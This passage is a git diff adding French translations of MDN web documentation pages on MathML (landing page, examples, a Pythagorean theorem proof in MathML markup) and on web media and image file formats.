<mn>4</mn> <mi>a</mi> <mi>c</mi> </msqrt></mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace> <mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> </mtable></math></p>
diff --git a/files/fr/web/mathml/exemples/index.html b/files/fr/web/mathml/exemples/index.html
new file mode 100644
index 0000000000..c3614e43b5
--- /dev/null
+++ b/files/fr/web/mathml/exemples/index.html
@@ -0,0 +1,27 @@
+---
+title: Exemples
+slug: Web/MathML/Exemples
+tags:
+  - Accueil
+  - Beginner
+  - Composing
+  - Débuttant
+  - Intro
+  - MathML
+translation_of: Web/MathML/Examples
+---
+<p>Cette rubrique rassemble des exemples pour vous aider à comprendre comment utiliser MathML dans l'affichage des formules mathématiques complexes au sein de vos pages Web.</p>
+<dl>
+ <dt>
+  <a href="/fr/docs/Web/MathML/Examples/MathML_Pythagorean_Theorem">Théorème de Pythagore</a></dt>
+ <dd>
+  Petit exemple de démonstration du théorème de Pythagore.</dd>
+ <dt>
+  <a href="/fr/docs/Web/MathML/Examples/Deriving_the_Quadratic_Formula">Résolution de l'équation quadratique</a></dt>
+ <dd>
+  Étapes de la résolution de l'équation quadratique.</dd>
+ <dt>
+  <a href="/fr/docs/Mozilla/MathML_Project/MathML_Torture_Test">Tests de rendu MathML</a></dt>
+ <dd>
+  Un ensemble test de rendu de formules.</dd>
+</dl>
diff --git a/files/fr/web/mathml/exemples/mathml_theoreme_de_pythagore/index.html b/files/fr/web/mathml/exemples/mathml_theoreme_de_pythagore/index.html
new file mode 100644
index 0000000000..d64afcc40b
--- /dev/null
+++ b/files/fr/web/mathml/exemples/mathml_theoreme_de_pythagore/index.html
@@ -0,0 +1,16 @@
+---
+title: Preuve du théorème de Pythagore
+slug: Web/MathML/Exemples/MathML_Theoreme_de_Pythagore
+tags:
+  - Débutant
+  - Education mathématique
+  - Exemple
+  - HTML5 Math
+  - MathML
+translation_of: Web/MathML/Examples/MathML_Pythagorean_Theorem
+---
+<p>Nous allons prouver le théorème de Pythagore :</p>
+
+<p><strong>Définition :</strong> dans un triangle rectangle, le carré de l'hypoténuse est égal à la somme des carrés des deux autres côtés (appelés cathètes). Ainsi, soient a et b les cathètes et c l'hypothénuse, on a <math> <mrow> <msup><mi> a </mi><mn>2</mn></msup> <mo> + </mo> <msup><mi> b </mi><mn>2</mn></msup> <mo> = </mo> <msup><mi> c </mi><mn>2</mn></msup> </mrow> </math>.</p>
+
+<p><strong>Preuve :</strong> nous pouvons le prouver de façon algébrique en montrant que l'aire du grand carré est égale à l'aire du carré intérieur, ajoutée à l'aire des 4 triangles :<math style="display: block;"> <mtable columnalign="right center left"> <mtr> <mtd> <msup> <mrow> <mo> ( </mo> <mi> a </mi> <mo> + </mo> <mi> b </mi> <mo> ) </mo> </mrow> <mn> 2 </mn> </msup> </mtd> <mtd> <mo> = </mo> </mtd> <mtd> <msup><mi> c </mi><mn>2</mn></msup> <mo> + </mo> <mn> 4 </mn> <mo> ⋅ </mo> <mo>(</mo> <mfrac> <mn> 1 </mn> <mn> 2 </mn> </mfrac> <mi> a </mi><mi> b </mi> <mo>)</mo> </mtd> </mtr> <mtr> <mtd> <msup><mi> a </mi><mn>2</mn></msup> <mo> + </mo> <mn> 2 </mn><mi> a </mi><mi> b </mi> <mo> + </mo> <msup><mi> b </mi><mn>2</mn></msup> </mtd> <mtd> <mo> = </mo> </mtd> <mtd> <msup><mi> c </mi><mn>2</mn></msup> <mo> + </mo> <mn> 2 </mn><mi> a </mi><mi> b </mi> </mtd> </mtr> <mtr> <mtd> <msup><mi> a </mi><mn>2</mn></msup> <mo> + </mo> <msup><mi> b </mi><mn>2</mn></msup> </mtd> <mtd> <mo> = </mo> </mtd> <mtd> <msup><mi> c </mi><mn>2</mn></msup> </mtd> </mtr> </mtable> </math></p>
diff --git a/files/fr/web/mathml/index.html b/files/fr/web/mathml/index.html
new file mode 100644
index 0000000000..c5bf1a9e0e
--- /dev/null
+++ b/files/fr/web/mathml/index.html
@@ -0,0 +1,70 @@
+---
+title: MathML
+slug: Web/MathML
+tags:
+  - Landing
+  - MathML
+  - Reference
+  - Web
+  - XML
+translation_of: Web/MathML
+---
+<p><strong>Mathematical Markup Language (MathML)</strong> est un dialecte de <a href="/fr/docs/XML" title="/fr/docs/XML">XML</a> permettant de décrire des formules mathématiques à la fois dans leur structure et dans leur contenu.</p>
+
+<p>Vous trouverez ici des liens vers la documentation, les exemples et les outils permettant de travailler avec cette technologie. Pour un bref aperçu, veuillez consulter <a href="http://fred-wang.github.io/MozSummitMathML/index.html">la présentation pour le Mozilla Summit Innovation Fair de 2013 (en)</a>.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentations à propos de MathML</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/MathML/Element" title="/fr/docs/Web/MathML/Element">Référence des éléments MathML</a></dt>
+ <dd>Des informations précises sur chaque élément MathML et leurs compatibilités avec les différents navigateurs.</dd>
+ <dt><a href="/fr/docs/Web/MathML/Attribute" title="/fr/docs/Web/MathML/Attribute">Référence des attributs MathML</a></dt>
+ <dd>Des informations sur les attributs MathML qui modifient l'apparence ou le comportement des éléments.</dd>
+ <dt><a href="/fr/docs/Web/MathML/Examples" title="/fr/docs/Web/MathML/Examples">Exemples avec MathML</a></dt>
+ <dd>Des fragments de code MathML ainsi que des exemples pour comprendre comment ça fonctionne.</dd>
+ <dt><a href="/docs/Web/MathML/Authoring" title="/en-US/docs/Web/MathML/Authoring">Éditer du MathML</a></dt>
+ <dd>Des conseils sur l'édition de document en MathML : quels éditeurs à utiliser et comment intégrer le code produit dans du contenu web.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/fr/docs/tag/MathML" title="/fr/docs/tag/MathML">Voir tout...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Community" id="Obtenir_de_laide_de_la_communauté">Obtenir de l'aide de la communauté</h2>
+
+<ul>
+ <li>Les forums de Mozilla<br>
+  {{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</li>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/%23mathml" rel="external" title="irc://irc.mozilla.org/%23mathml">Les salons IRC</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/MathML:Home_Page">Le Wiki utilisé par les contributeurs de Mozilla</a></li>
+ <li><a href="http://www.w3.org/Math/" title="http://www.w3.org/Math/">La page d'accueil de W3C Math</a></li>
+ <li><a href="http://lists.w3.org/Archives/Public/www-math/" title="http://lists.w3.org/Archives/Public/www-math/">Les archives mail de www-math w3.org</a></li>
+</ul>
+
+<h2 class="Tools" id="Outils_facilitant_le_développement_avec_MathML">Outils facilitant le développement avec MathML</h2>
+
+<ul>
+ <li><a class="external" href="http://validator.w3.org">Le validateur W3C</a></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/de/firefox/addon/8969/">L'extension FireMath pour Firefox</a></li>
+ <li><a href="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/" title="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/">L'ensemble d'extensions Mathzilla pour Firefox</a></li>
+ <li><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> - Convertisseur Javascript de LaTeX à MathML (<a href="http://fred-wang.github.io/TeXZilla/">demo</a>, <a href="http://r-gaia-cs.github.io/TeXZilla-webapp/">Firefox OS webapp</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">Firefox add-on</a>, <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla">utilisation dans une page Web Page, un programme JS etc</a>)</li>
+ <li><a href="http://dlmf.nist.gov/LaTeXML/" title="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> - Transformez vos documents LaTeX en pages HTML+MathML.</li>
+ <li><a href="http://webdemo.visionobjects.com/equation.html" title="http://webdemo.visionobjects.com/equation.html">Web Equation</a> - Transformez des équations manuscrites en MathML ou LaTeX</li>
+ <li><a href="http://www.mathjax.org/" title="http://www.mathjax.org/">Mathjax</a> - Moteur de rendu de Javascript pour les formules mathématiques, compatible avec tous les navigateurs. Pour forcer MathJax à utiliser le MathML natif, essayez le <a href="https://addons.mozilla.org/en-US/firefox/addon/mathjax-native-mathml/">ce module pour Mozilla</a>, cette <a href="http://fred-wang.github.io/mathjax-native-mathml-safari/mathjax-native-mathml.safariextz">extension pour Safari</a> ou ce <a href="https://openuserjs.org/scripts/fred.wang/MathJax_Native_MathML/">script GreaseMonkey</a>.</li>
+</ul>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Sujets liés</h2>
+
+<ul>
+ <li><a href="/fr/docs/CSS" title="/fr/docs/Web/CSS">CSS</a></li>
+ <li><a href="/fr/docs/Web/HTML" title="/fr/docs/Web/HTML">HTML</a></li>
+ <li><a href="/fr/docs/SVG" title="/fr/docs/Web/SVG">SVG</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("mathml.elements.math", 0)}}</p>
diff --git a/files/fr/web/mathml/index/index.html b/files/fr/web/mathml/index/index.html
new file mode 100644
index 0000000000..f3f63acd94
--- /dev/null
+++ b/files/fr/web/mathml/index/index.html
@@ -0,0 +1,8 @@
+---
+title: Index de la documentation MathML
+slug: Web/MathML/Index
+tags:
+  - MathML
+translation_of: Web/MathML/Index
+---
+<p>{{Index("/fr/docs/Web/MathML")}}</p>
diff --git a/files/fr/web/media/formats/index.html b/files/fr/web/media/formats/index.html
new file mode 100644
index 0000000000..770e1b280d
--- /dev/null
+++ b/files/fr/web/media/formats/index.html
@@ -0,0 +1,89 @@
+---
+title: 'Guide des types et formats de médias : contenu image, audio et vidéo'
+slug: Web/Media/Formats
+tags:
+  - API
+  - Accueil
+  - Audio
+  - Codecs
+  - Contenu
+  - Fichiers
+  - Image
+  - Images
+  - Media
+  - Médias
+  - Types
+  - Types de fichiers
+  - Video
+  - Videos
+  - Web
+  - formats
+translation_of: Web/Media/Formats
+---
+<p>{{QuickLinksWithSubpages("/fr/docs/Web/Media")}}</p>
+
+<p>Depuis presque ses débuts, le web a inclus un support pour une certaine forme de présentation visuelle des médias. À l'origine, ces capacités étaient limitées et ont été développées de manière organique, les différents navigateurs trouvant leurs propres solutions aux problèmes liés à l'inclusion d'images fixes et vidéo sur le web. Le web moderne dispose de puissantes fonctionnalités pour prendre en charge la présentation et la manipulation des médias, avec plusieurs API liées aux médias prenant en charge divers types de contenu. En général, les formats de médias pris en charge par un navigateur sont entièrement laissés à la discrétion des créateurs du navigateur, ce qui peut compliquer le travail d'un développeur web.</p>
+
+<p><span class="seoSummary">Ce guide donne un aperçu des types de fichiers médias, {{Glossary("codec", "codecs")}},</span> et des algorithmes qui peuvent comprendre des médias utilisés sur le web. Il fournit également des informations sur la prise en charge des navigateurs pour diverses combinaisons de ceux-ci, et des suggestions pour la hiérarchisation des formats, ainsi que sur les formats qui excellent pour des types de contenu spécifiques.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Références">Références</h2>
+
+<h3 id="Images">Images</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/Media/Formats/Types_des_images">Guide des types et formats de fichiers d'images</a></dt>
+ <dd>Couvre la prise en charge des types de fichiers d'images et des formats de contenu dans les principaux navigateurs web, et fournit des informations de base sur chaque type : avantages, limites et cas d'utilisation intéressant les concepteurs et les développeurs web.</dd>
+ <dt><a href="/fr/docs/Web/Media/Formats/Images_for_web_designers">Types de fichiers d'images pour les concepteurs de sites web</a></dt>
+ <dd>Des informations fondamentales sur les différents types de fichiers d'images qui peuvent être utiles aux concepteurs de sites web, y compris les meilleures pratiques et les cas d'utilisation pour chaque type, et des lignes directrices pour choisir le bon format de fichier d'image pour des types de contenu spécifiques.</dd>
+</dl>
+
+<h3 id="Types_de_fichiers_médias_et_codecs">Types de fichiers médias et codecs</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/Media/Formats/Containers">Conteneurs de médias (types de fichiers)</a></dt>
+ <dd>Un guide des types de fichiers qui contiennent des données médiatiques. Certains sont spécifiques à l'audio, tandis que d'autres peuvent être utilisés pour du contenu audio ou audiovisuel combiné, comme les films. Comprend des aperçus de chacun des types de fichiers pris en charge par les principaux navigateurs web, ainsi que des informations sur la prise en charge des navigateurs et les fonctionnalités prises en charge.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/Media/Formats/Audio_codecs">Guide des codecs audio pour le Web</a></dt>
+ <dd>Un guide des codecs audio autorisés par les conteneurs de médias communs, ainsi que par les principaux navigateurs. Comprend les avantages, les limites, les principales spécifications et capacités, et des cas d'utilisation. Il couvre également le support de chaque navigateur pour l'utilisation du codec dans des conteneurs donnés.</dd>
+ <dt><a href="/fr/docs/Web/Media/Formats/Video_codecs">Guide des codecs vidéo du Web</a></dt>
+ <dd>Cet article fournit des informations de base sur les codecs vidéo pris en charge par les principaux navigateurs, ainsi que sur certains codecs qui ne sont pas couramment pris en charge mais que vous pourriez quand même rencontrer. Il couvre également les capacités des codecs, leurs avantages et leurs limites, ainsi que les niveaux de prise en charge et les restrictions des navigateurs.</dd>
+ <dt><a href="/fr/docs/Web/Media/Formats/codecs_parameter">Le paramètre "codecs" dans les types de médias courants</a></dt>
+ <dd>Lorsque vous spécifiez le type MIME décrivant un format de média, vous pouvez fournir des détails en utilisant le paramètre <code>codecs</code> dans le cadre de la chaîne de type. Ce guide décrit le format et les valeurs possibles du paramètre <code>codecs</code> pour les types de médias les plus courants.</dd>
+ <dt><a href="/fr/docs/Web/Media/Formats/WebRTC_codecs">Codecs utilisés par WebRTC</a></dt>
+ <dd><a href="/fr/docs/Web/API/WebRTC_API">WebRTC</a> n'utilise pas de conteneur, mais diffuse le média encodé lui-même de pair à pair en utilisant des objets {{domxref("MediaStreamTrack")}} pour représenter chaque piste audio ou vidéo. Ce guide présente les codecs couramment utilisés avec le WebRTC.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<h3 id="Concepts">Concepts</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/Media/Formats/Audio_concepts">Concepts de l'audio numérique</a></dt>
+ <dd>Une introduction à la manière dont le son est converti en forme numérique et stocké pour être utilisé par les ordinateurs. Il explique les concepts de base sur la façon dont l'audio est échantillonné, ainsi que des concepts tels que le taux d'échantillonnage, les trames audio et la compression audio.</dd>
+ <dt><a href="/fr/docs/Web/Media/Formats/Video_concepts">Concepts de la vidéo numérique</a></dt>
+ <dd>Un guide des concepts fondamentaux liés à la vidéo numérique telle qu'elle est utilisée sur le web, y compris des notions de base sur les formats de couleur, le sous-échantillonnage chromatique, la façon dont la perception humaine influence le codage vidéo, etc.</dd>
+</dl>
+
+<h3 id="Tutoriels_et_modes_demploi">Tutoriels et modes d'emploi</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">Apprendre : Contenu vidéo et audio</a></dt>
+ <dd>Ce tutoriel présente et détaille l'utilisation des médias sur le web.</dd>
+ <dt><a href="/fr/docs/Web/Media/Formats/Questions_sur_le_soutien">Traiter les questions de soutien aux médias dans le contenu web</a></dt>
+ <dd>Dans ce guide, nous examinons comment construire un contenu web qui maximise la qualité ou les performances tout en offrant la compatibilité la plus large possible, en choisissant judicieusement les formats des médias et en proposant des solutions de repli et des formats alternatifs là où cela serait utile.</dd>
+</dl>
+
+<h2 id="Autres_sujets">Autres sujets</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/Media_Capabilities_API">Capacités des médias API</a></dt>
+ <dd>L'API des capacités média vous permet de découvrir les capacités de codage et de décodage de l'appareil sur lequel votre application ou votre site fonctionne. Cela vous permet de prendre des décisions en temps réel sur les formats à utiliser et le moment de leur utilisation.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/fr/web/media/formats/questions_sur_le_soutien/index.html b/files/fr/web/media/formats/questions_sur_le_soutien/index.html
new file mode 100644
index 0000000000..e64c50d6a0
--- /dev/null
+++ b/files/fr/web/media/formats/questions_sur_le_soutien/index.html
@@ -0,0 +1,63 @@
+---
+title: Traiter les questions de soutien aux médias dans le contenu web
+slug: Web/Media/Formats/Questions_sur_le_soutien
+tags:
+  - Audio
+  - Guide
+  - HTMLAudioElement
+  - HTMLMediaElement
+  - HTMLVideoElement
+  - Intermédiaire
+  - Media
+  - Son
+  - Sources
+  - Video
+  - WebRTC
+translation_of: Web/Media/Formats/Support_issues
+---
+<p>{{QuickLinksWithSubpages("/fr/docs/Web/Media")}}{{draft}}</p>
+
+<p>L'une des réalités du travail avec la présentation et la manipulation audio et vidéo sur le web est qu'il existe un certain nombre de formats de médias disponibles, de degrés de popularité variables et avec des capacités variées. La possibilité de choisir est bonne pour l'utilisateur, dans la mesure où il peut choisir le format qui répond le mieux à ses besoins. Il y a cependant un inconvénient : comme il y a un grand choix, avec tant de types de licences et de principes de conception différents, chaque développeur de navigateur web est laissé à lui-même pour décider des types de fichiers média et des codecs à prendre en charge.</p>
+
+<p>Cela impose une charge légère, mais raisonnablement facile à surmonter, au développeur web : gérer correctement la situation lorsque le navigateur de l'utilisateur ne peut pas gérer un type de média particulier. <span class="seoSummary">Ce guide couvre les techniques que vous pouvez utiliser pour développer des contenus web qui répondent à vos besoins médiatiques tout en offrant l'expérience la plus largement compatible possible.</span> Les sujets que nous examinerons sont les solutions de secours, les formats de base des médias et les pratiques de traitement des erreurs qui permettront à votre contenu de fonctionner dans le plus grand nombre de situations possible.</p>
+
+<h2 id="Utilisation_de_cadres_daffiches">Utilisation de cadres d'affiches</h2>
+
+<p>Un <strong>cadre d'affiche</strong> est une image fixe représentative du contenu d'une vidéo. Il peut s'agir simplement de la première image de la vidéo ; cependant, dans de nombreux cas, la première image est vide, ou ne contient rien d'autre que le logo d'une entreprise, ou une autre image qui ne donne au lecteur aucun contexte pour le contenu de la vidéo.</p>
+
+<p>Une bonne image d'affiche est soit représentative du contenu de la vidéo, soit une image qui ne provient même pas de la vidéo elle-même mais qui contient des images et/ou du texte qui donnent au lecteur une idée utile du contenu de la vidéo. Dans le cas d'un film d'action, par exemple, le cadre de l'affiche peut être une image exemplaire de l'une des scènes les plus connues du film.</p>
+
+<p>Un concept similaire peut être appliqué aux images fixes ; si une image que vous souhaitez présenter est très grande et peut prendre du temps à télécharger (en particulier pour les appareils ou les connexions plus lents), vous pouvez proposer une version à plus faible résolution ou une version alternative qui sera affichée jusqu'à ce que la version en qualité intégrale soit disponible pour être affichée.</p>
+
+<p>Nous examinerons ces deux scénarios et la manière de les mettre en œuvre.</p>
+
+<h3 id="Images_daffiches_pour_la_vidéo">Images d'affiches pour la vidéo</h3>
+
+<h3 id="Images_progressives">Images progressives</h3>
+
+<p>Les images — qu'elles soient intégrés à l'aide de {{HTMLElement("img")}} ou de {{HTMLElement("image")}} — ne supportent pas un concept similaire aux cadres. Cependant, il existe des moyens de présenter une image de faible qualité pendant qu'elle est encore en cours de chargement. Il faut pour cela créer vos images en utilisant des formats progressifs, tels que le progressif {{Glossary("JPEG")}} ou l'entrelacé {{Glossary("PNG")}}.</p>
+
+<p>Une fois que votre image a été convertie en forme progressive, vous pouvez simplement l'utiliser comme d'habitude.</p>
+
+<pre class="brush: html">&lt;img src="/images/stafff-photo-huge-progressive.jpg"
+     alt="Photo du personnel, prise en janvier 1972"&gt;</pre>
+
+<p>Lors de l'utilisation d'une image progressive, les données sont stockées de telle sorte que le navigateur est en mesure de rendre une représentation de faible qualité de l'image dès que possible, puis de mettre à jour l'image au fur et à mesure de son chargement — ou une fois celui-ci terminé — pour la présenter en pleine qualité.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Les images progressives (ou entrelacées) sont par nature légèrement plus grandes que les versions non progressives des mêmes images. C'est à vous de déterminer si l'entrelacement sera bénéfique pour vos utilisateurs.</p>
+</div>
+
+<h2 id="Préciser_les_sources_multiples">Préciser les sources multiples</h2>
+
+<h2 id="Vérification_de_la_compatibilité_en_JavaScript">Vérification de la compatibilité en JavaScript</h2>
+
+<p>{{domxref("HTMLMediaElement.canPlayType")}} et {{domxref("MediaSource.isTypeSupported")}}...</p>
+
+<h2 id="Détection_des_erreurs_de_lecture">Détection des erreurs de lecture</h2>
+
+<h2 id="Adaptation_de_la_présentation_avec_le_CSS">Adaptation de la présentation avec le CSS</h2>
+
+<h2 id="Gestion_de_la_mémoire">Gestion de la mémoire</h2>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
diff --git a/files/fr/web/media/formats/types_des_images/index.html b/files/fr/web/media/formats/types_des_images/index.html
new file mode 100644
index 0000000000..5211d74fb9
--- /dev/null
+++ b/files/fr/web/media/formats/types_des_images/index.html
@@ -0,0 +1,1239 @@
+---
+title: Guide des types et formats de fichiers d'images
+slug: Web/Media/Formats/Types_des_images
+tags:
+  - APNG
+  - BMP
+  - Bitmap
+  - Diagrammes
+  - Fichier
+  - Graphiques
+  - Guide
+  - ICO
+  - Icône
+  - Image
+  - Images
+  - JPEG
+  - JPG
+  - Media
+  - PNG
+  - Photos
+  - SVG
+  - Types
+  - Types de fichier
+  - WebP
+  - gif
+  - Ícones
+translation_of: Web/Media/Formats/Image_types
+---
+<div>{{QuickLinksWithSubpages("/fr/docs/Web/Media")}}</div>
+
+<p><span class="seoSummary">Dans ce guide, nous aborderons les types de fichiers d'images généralement pris en charge par les navigateurs web, et nous vous donnerons des indications qui vous aideront à sélectionner les formats les plus appropriés pour l'imagerie de votre site.</span></p>
+
+<h2 id="Types_de_fichiers_dimages_communs">Types de fichiers d'images communs</h2>
+
+<p>Il existe de nombreux formats de fichiers d'images dans le monde. Toutefois, ceux qui sont énumérés ci-dessous sont généralement reconnus comme utilisables sur le Web, bien que <strong>BMP ne soit généralement pas recommandé</strong> car la prise en charge par les navigateurs est potentiellement limitée ; il faut généralement l'éviter pour le contenu Web.</p>
+
+<div id="table-of-image-file-types">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Abréviation</th>
+   <th scope="row">Format du fichier (en)</th>
+   <th scope="col">Type de MIME</th>
+   <th scope="col">Extention(s) du fichier</th>
+   <th scope="col">Compatibilité des navigateurs</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">{{anch("APNG")}}</th>
+   <th scope="row">Animated Portable Network Graphics</th>
+   <td><code>image/apng</code></td>
+   <td><code>.apng</code></td>
+   <td>Chrome, Edge, Firefox, Opera, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("BMP")}}</th>
+   <th scope="row">Bitmap file</th>
+   <td><code>image/bmp</code></td>
+   <td><code>.bmp</code></td>
+   <td>Chrome, Edge, Firefox, Internet Explorer, Opera, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("GIF")}}</th>
+   <th scope="row">Graphics Interchange Format</th>
+   <td><code>image/gif</code></td>
+   <td><code>.gif</code></td>
+   <td>Chrome, Edge, Firefox, Internet Explorer, Opera, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("ICO")}}</th>
+   <th scope="row">Microsoft Icon</th>
+   <td><code>image/x-icon</code></td>
+   <td><code>.ico</code>, <code>.cur</code></td>
+   <td>Chrome, Edge, Firefox, Internet Explorer, Opera, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("JPEG")}}</th>
+   <th scope="row">Joint Photographic Expert Group image</th>
+   <td><code>image/jpeg</code></td>
+   <td><code>.jpg</code>, <code>.jpeg</code>, <code>.jfif</code>, <code>.pjpeg</code>, <code>.pjp</code></td>
+   <td>Chrome, Edge, Firefox, Internet Explorer, Opera, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("PNG")}}</th>
+   <th scope="row">Portable Network Graphics</th>
+   <td><code>image/png</code></td>
+   <td><code>.png</code></td>
+   <td>Chrome, Edge, Firefox, Internet Explorer, Opera, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("SVG")}}</th>
+   <th scope="row">Scalable Vector Graphics</th>
+   <td><code>image/svg+xml</code></td>
+   <td><code>.svg</code></td>
+   <td>Chrome, Edge, Firefox, Internet Explorer, Opera, Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("TIFF")}}</th>
+   <th scope="row">Tagged Image File Format</th>
+   <td><code>image/tiff</code></td>
+   <td><code>.tif</code>, <code>.tiff</code></td>
+   <td>None built-in; add-ons required</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("WebP")}}</th>
+   <th scope="row">Web Picture format</th>
+   <td><code>image/webp</code></td>
+   <td><code>.webp</code></td>
+   <td>Chrome, Edge, Firefox, Opera</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>L'abréviation de chaque format renvoie à une description plus longue du format, de ses capacités et à des informations détaillées sur la compatibilité des navigateurs ; y compris les versions qui ont introduit le support et les caractéristiques spéciales spécifiques qui ont pu être introduites ultérieurement.</p>
+</div>
+
+<h2 id="Détails_sur_le_type_de_fichier_image">Détails sur le type de fichier image</h2>
+
+<p>Les sections suivantes donnent un bref aperçu de chacun des types de fichiers d'images pris en charge par les navigateurs web.</p>
+
+<p>Dans les tableaux ci-dessous, le terme <strong>bits par composante</strong> fait référence au nombre de bits utilisés pour représenter chaque composante de couleur. Par exemple, une profondeur de couleur RVB de 8 indique que chacune des composantes rouge, verte et bleue est représentée par une valeur de 8 bits. <strong>Profondeur de bit</strong>, d'autre part, est le nombre total de bits utilisés pour représenter chaque pixel en mémoire.</p>
+
+<h3 id="APNG_Animated_Portable_Network_Graphics"><a id="APNG" name="APNG">APNG</a> (Animated Portable Network Graphics)</h3>
+
+<p>L'APNG est un format de fichier introduit pour la première fois par Mozilla qui étend le {{anch("PNG")}} pour ajouter le support des images animées. Conceptuellement similaire au format GIF animé qui est utilisé depuis des décennies, l'APNG est plus performant dans la mesure où il prend en charge une variété de {{interwiki("wikipedia", "color depth", "profondeur de couleur")}}, alors que le GIF animé ne supporte que le 8-bit {{interwiki("wikipedia", "indexed color", "couleur indexée")}}.</p>
+
+<p>L'APNG est idéal pour les animations de base qui n'ont pas besoin d'être synchronisées avec d'autres activités ou avec une bande son, comme les indicateurs de progrès, {{interwiki("wikipedia", "throbber", "indicateur d'activité")}}, et autres séquences animées. Par exemple, l'APNG est <a href="https://developer.apple.com/stickers/">l'un des formats pris en charge lors de la création d'autocollants animés</a> pour l'application iMessage d'Apple (et l'application Messages sur iOS). Ils sont également couramment utilisés pour les parties animées des interfaces utilisateur des navigateurs web.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/apng</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Extention(s) de fichier(s)</th>
+   <td><code>.apng</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td><a href="https://wiki.mozilla.org/APNG_Specification">wiki.mozilla.org/APNG_Specification</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Compatibilité des navigateurs</th>
+   <td>Chrome 59, Edge 12, Firefox 3, Opera 46, Safari 8</td>
+  </tr>
+  <tr>
+   <th scope="row">Dimentions maximum</th>
+   <td>2,147,483,647×2,147,483,647 pixels</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur supportés</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">Mode de couleur</th>
+       <th scope="col">Bits par composante (<em>D</em>)</th>
+       <th scope="col">Description</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Niveau de gris</th>
+       <td>1, 2, 4, 8, et 16</td>
+       <td>Chaque pixel est constitué d'une seule valeur <em>D</em>-bit indiquant la luminosité du pixel en niveaux de gris.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par trois valeurs de <em>D</em>-bit indiquant le niveau des composantes de couleur rouge, verte et bleue.</td>
+      </tr>
+      <tr>
+       <th scope="row">Couleur indexée</th>
+       <td>1, 2, 4, et 8</td>
+       <td>Chaque pixel est une valeur <em>D</em>-bit indiquant un index dans une palette de couleurs qui est contenue dans un morceau <code><a href="https://www.w3.org/TR/PNG/#11PLTE">PLTE</a></code> dans le fichier APNG ; les couleurs de la palette utilisent toutes une profondeur de 8 bits.</td>
+      </tr>
+      <tr>
+       <th scope="row">Niveau de gris avec alpha</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par deux valeurs <em>D</em>-bit : l'intensité du pixel en niveaux de gris et un échantillon alpha, indiquant le degré d'opacification du pixel.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur avec alpha</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est composé de quatre composantes de couleur <em>D</em>-pixel : rouge, vert, bleu, et l'échantillon alpha indiquant le degré d'opacité du pixel.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>Sans perte</td>
+  </tr>
+  <tr>
+   <th scope="row">License</th>
+   <td>Gratuit et ouvert dans le cadre de la <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike license</a> (<a href="http://creativecommons.org/licenses/by-sa/3.0/">CC-BY-SA</a>) version 3.0 ou plus.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="BMP_Bitmap_file"><a id="BMP" name="BMP">BMP</a> (Bitmap file)</h3>
+
